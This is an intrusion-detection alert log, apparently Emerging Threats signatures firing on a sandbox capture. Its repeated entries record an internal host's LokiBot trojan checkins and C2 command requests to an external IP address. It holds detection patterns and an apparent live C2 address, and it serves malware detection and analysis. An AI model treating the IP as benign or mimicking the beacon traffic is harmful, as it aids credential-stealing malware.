11/25/21-10:53:27.350877	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50472	80	192.168.11.20	176.223.209.128
11/25/21-10:53:27.350877	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50472	80	192.168.11.20	176.223.209.128
11/25/21-10:53:27.350877	TCP	2025381	ET TROJAN LokiBot Checkin	50472	80	192.168.11.20	176.223.209.128
11/25/21-10:53:27.350877	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50472	80	192.168.11.20	176.223.209.128
11/25/21-10:53:27.846663	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50473	80	192.168.11.20	176.223.209.128
11/25/21-10:53:27.846663	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50473	80	192.168.11.20	176.223.209.128
11/25/21-10:53:27.846663	TCP	2025381	ET TROJAN LokiBot Checkin	50473	80	192.168.11.20	176.223.209.128
11/25/21-10:53:27.846663	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50473	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.355336	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50474	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.355336	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50474	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.355336	TCP	2025381	ET TROJAN LokiBot Checkin	50474	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.355336	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50474	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.862322	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50475	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.862322	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50475	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.862322	TCP	2025381	ET TROJAN LokiBot Checkin	50475	80	192.168.11.20	176.223.209.128
11/25/21-10:53:28.862322	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50475	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.372843	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50476	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.372843	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50476	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.372843	TCP	2025381	ET TROJAN LokiBot Checkin	50476	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.372843	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50476	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.843203	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50477	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.843203	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50477	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.843203	TCP	2025381	ET TROJAN LokiBot Checkin	50477	80	192.168.11.20	176.223.209.128
11/25/21-10:53:29.843203	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50477	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.308855	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50478	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.308855	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50478	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.308855	TCP	2025381	ET TROJAN LokiBot Checkin	50478	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.308855	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50478	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.786736	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50479	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.786736	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50479	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.786736	TCP	2025381	ET TROJAN LokiBot Checkin	50479	80	192.168.11.20	176.223.209.128
11/25/21-10:53:30.786736	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50479	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.296934	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50480	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.296934	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50480	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.296934	TCP	2025381	ET TROJAN LokiBot Checkin	50480	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.296934	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50480	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.808200	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50481	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.808200	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50481	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.808200	TCP	2025381	ET TROJAN LokiBot Checkin	50481	80	192.168.11.20	176.223.209.128
11/25/21-10:53:31.808200	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50481	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.331859	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50482	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.331859	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50482	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.331859	TCP	2025381	ET TROJAN LokiBot Checkin	50482	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.331859	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50482	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.797645	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50483	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.797645	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50483	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.797645	TCP	2025381	ET TROJAN LokiBot Checkin	50483	80	192.168.11.20	176.223.209.128
11/25/21-10:53:32.797645	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50483	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.325394	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50484	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.325394	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50484	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.325394	TCP	2025381	ET TROJAN LokiBot Checkin	50484	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.325394	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50484	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.845490	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50485	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.845490	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50485	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.845490	TCP	2025381	ET TROJAN LokiBot Checkin	50485	80	192.168.11.20	176.223.209.128
11/25/21-10:53:33.845490	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50485	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.266818	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50486	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.266818	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50486	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.266818	TCP	2025381	ET TROJAN LokiBot Checkin	50486	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.266818	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50486	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.777722	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50487	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.777722	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50487	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.777722	TCP	2025381	ET TROJAN LokiBot Checkin	50487	80	192.168.11.20	176.223.209.128
11/25/21-10:53:34.777722	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50487	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.308824	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50488	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.308824	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50488	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.308824	TCP	2025381	ET TROJAN LokiBot Checkin	50488	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.308824	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50488	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.762265	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50489	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.762265	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50489	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.762265	TCP	2025381	ET TROJAN LokiBot Checkin	50489	80	192.168.11.20	176.223.209.128
11/25/21-10:53:35.762265	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50489	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.258620	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50490	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.258620	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50490	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.258620	TCP	2025381	ET TROJAN LokiBot Checkin	50490	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.258620	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50490	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.772211	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50491	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.772211	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50491	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.772211	TCP	2025381	ET TROJAN LokiBot Checkin	50491	80	192.168.11.20	176.223.209.128
11/25/21-10:53:36.772211	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50491	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.268575	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50492	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.268575	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50492	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.268575	TCP	2025381	ET TROJAN LokiBot Checkin	50492	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.268575	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50492	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.770352	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50493	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.770352	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50493	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.770352	TCP	2025381	ET TROJAN LokiBot Checkin	50493	80	192.168.11.20	176.223.209.128
11/25/21-10:53:37.770352	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50493	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.269614	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50494	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.269614	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50494	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.269614	TCP	2025381	ET TROJAN LokiBot Checkin	50494	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.269614	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50494	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.709614	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50495	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.709614	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50495	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.709614	TCP	2025381	ET TROJAN LokiBot Checkin	50495	80	192.168.11.20	176.223.209.128
11/25/21-10:53:38.709614	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50495	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.207845	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50496	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.207845	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50496	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.207845	TCP	2025381	ET TROJAN LokiBot Checkin	50496	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.207845	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50496	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.732608	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50497	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.732608	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50497	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.732608	TCP	2025381	ET TROJAN LokiBot Checkin	50497	80	192.168.11.20	176.223.209.128
11/25/21-10:53:39.732608	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50497	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.243964	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50498	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.243964	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50498	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.243964	TCP	2025381	ET TROJAN LokiBot Checkin	50498	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.243964	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50498	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.753145	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50499	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.753145	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50499	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.753145	TCP	2025381	ET TROJAN LokiBot Checkin	50499	80	192.168.11.20	176.223.209.128
11/25/21-10:53:40.753145	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50499	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.238328	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50500	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.238328	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50500	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.238328	TCP	2025381	ET TROJAN LokiBot Checkin	50500	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.238328	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50500	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.681848	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50501	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.681848	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50501	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.681848	TCP	2025381	ET TROJAN LokiBot Checkin	50501	80	192.168.11.20	176.223.209.128
11/25/21-10:53:41.681848	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50501	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.195313	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50502	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.195313	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50502	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.195313	TCP	2025381	ET TROJAN LokiBot Checkin	50502	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.195313	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50502	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.680123	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50503	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.680123	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50503	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.680123	TCP	2025381	ET TROJAN LokiBot Checkin	50503	80	192.168.11.20	176.223.209.128
11/25/21-10:53:42.680123	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50503	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.187163	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50504	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.187163	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50504	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.187163	TCP	2025381	ET TROJAN LokiBot Checkin	50504	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.187163	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50504	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.695678	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50505	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.695678	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50505	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.695678	TCP	2025381	ET TROJAN LokiBot Checkin	50505	80	192.168.11.20	176.223.209.128
11/25/21-10:53:43.695678	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50505	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.139015	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50506	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.139015	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50506	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.139015	TCP	2025381	ET TROJAN LokiBot Checkin	50506	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.139015	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50506	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.584132	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50507	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.584132	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50507	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.584132	TCP	2025381	ET TROJAN LokiBot Checkin	50507	80	192.168.11.20	176.223.209.128
11/25/21-10:53:44.584132	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50507	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.050531	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50508	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.050531	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50508	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.050531	TCP	2025381	ET TROJAN LokiBot Checkin	50508	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.050531	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50508	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.484128	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50509	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.484128	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50509	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.484128	TCP	2025381	ET TROJAN LokiBot Checkin	50509	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.484128	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50509	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.998078	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50510	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.998078	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50510	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.998078	TCP	2025381	ET TROJAN LokiBot Checkin	50510	80	192.168.11.20	176.223.209.128
11/25/21-10:53:45.998078	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50510	80	192.168.11.20	176.223.209.128
11/25/21-10:53:46.507064	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50511	80	192.168.11.20	176.223.209.128
11/25/21-10:53:46.507064	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50511	80	192.168.11.20	176.223.209.128
11/25/21-10:53:46.507064	TCP	2025381	ET TROJAN LokiBot Checkin	50511	80	192.168.11.20	176.223.209.128
11/25/21-10:53:46.507064	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50511	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.023184	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50512	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.023184	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50512	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.023184	TCP	2025381	ET TROJAN LokiBot Checkin	50512	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.023184	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50512	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.499400	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50513	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.499400	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50513	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.499400	TCP	2025381	ET TROJAN LokiBot Checkin	50513	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.499400	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50513	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.998735	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50514	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.998735	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50514	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.998735	TCP	2025381	ET TROJAN LokiBot Checkin	50514	80	192.168.11.20	176.223.209.128
11/25/21-10:53:47.998735	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50514	80	192.168.11.20	176.223.209.128
11/25/21-10:53:48.491253	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50515	80	192.168.11.20	176.223.209.128
11/25/21-10:53:48.491253	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50515	80	192.168.11.20	176.223.209.128
11/25/21-10:53:48.491253	TCP	2025381	ET TROJAN LokiBot Checkin	50515	80	192.168.11.20	176.223.209.128
11/25/21-10:53:48.491253	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50515	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.005088	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50516	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.005088	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50516	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.005088	TCP	2025381	ET TROJAN LokiBot Checkin	50516	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.005088	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50516	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.515577	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50517	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.515577	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50517	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.515577	TCP	2025381	ET TROJAN LokiBot Checkin	50517	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.515577	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50517	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.999556	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50518	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.999556	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50518	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.999556	TCP	2025381	ET TROJAN LokiBot Checkin	50518	80	192.168.11.20	176.223.209.128
11/25/21-10:53:49.999556	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50518	80	192.168.11.20	176.223.209.128
11/25/21-10:53:50.513340	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50519	80	192.168.11.20	176.223.209.128
11/25/21-10:53:50.513340	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50519	80	192.168.11.20	176.223.209.128
11/25/21-10:53:50.513340	TCP	2025381	ET TROJAN LokiBot Checkin	50519	80	192.168.11.20	176.223.209.128
11/25/21-10:53:50.513340	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50519	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.030415	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50520	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.030415	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50520	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.030415	TCP	2025381	ET TROJAN LokiBot Checkin	50520	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.030415	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50520	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.529676	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50521	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.529676	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50521	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.529676	TCP	2025381	ET TROJAN LokiBot Checkin	50521	80	192.168.11.20	176.223.209.128
11/25/21-10:53:51.529676	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50521	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.024613	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50522	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.024613	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50522	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.024613	TCP	2025381	ET TROJAN LokiBot Checkin	50522	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.024613	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50522	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.530324	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50523	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.530324	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50523	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.530324	TCP	2025381	ET TROJAN LokiBot Checkin	50523	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.530324	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50523	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.948310	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50524	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.948310	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50524	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.948310	TCP	2025381	ET TROJAN LokiBot Checkin	50524	80	192.168.11.20	176.223.209.128
11/25/21-10:53:52.948310	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50524	80	192.168.11.20	176.223.209.128
11/25/21-10:53:53.452600	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50525	80	192.168.11.20	176.223.209.128
11/25/21-10:53:53.452600	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50525	80	192.168.11.20	176.223.209.128
11/25/21-10:53:53.452600	TCP	2025381	ET TROJAN LokiBot Checkin	50525	80	192.168.11.20	176.223.209.128
11/25/21-10:53:53.452600	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	50525	80	192.168.11.20	176.223.209.128
11/25/21-10:53:53.973666	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	50526	80	192.168.11.20	176.223.209.128
11/25/21-10:53:53.973666	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	50526	80	192.168.11.20	176.223.209.128
